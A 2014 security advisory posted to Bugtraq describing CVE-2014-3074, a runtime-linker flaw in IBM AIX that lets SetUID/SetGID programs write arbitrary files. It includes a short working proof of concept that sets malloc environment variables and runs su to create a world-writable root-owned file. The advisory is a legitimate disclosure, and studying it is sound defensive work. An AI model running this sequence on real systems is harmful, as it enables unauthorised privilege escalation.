bugtraq - CVE-2014-3074 - Runtime Linker Allows Privilege Escalation Via Arbitrary File Writes in IBM AIX

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Message-ID: <53BC0121.2030607@portcullis-security.com>
Date: Tue, 08 Jul 2014 15:33:05 +0100
From: Portcullis Advisories <advisories@...tcullis-security.com>
To: moderators@...db.org, fulldisclosure@...lists.org, vuln@...unia.com,
  bugtraq@...urityfocus.com
Subject: CVE-2014-3074 - Runtime Linker Allows Privilege Escalation Via Arbitrary
 File Writes in IBM AIX

Vulnerability title: Runtime Linker Allows Privilege Escalation Via
Arbitrary File Writes in IBM AIX
CVE: CVE-2014-3074
Vendor: IBM
Product: AIX
Affected version: AIX 6.1 and 7.1 and VIOS 2.2.*
Reported by: Tim Brown

Details:
It has been identified that the runtime linker allows privilege
escalation via arbitrary file writes with elevated privileges (SetGID
and SetUID programs). The following will cause a new file /etc/pwned to
be created with permissions of rw-rw-rw:

umask 0
MALLOCOPTIONS=buckets
MALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/pwned
export MALLOCOPTIONS MALLOCBUCKETS
su -

In instances where the output file exists, then the report_allocations
output will be appended to the existing file and the permissions preserved.

Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-3074/

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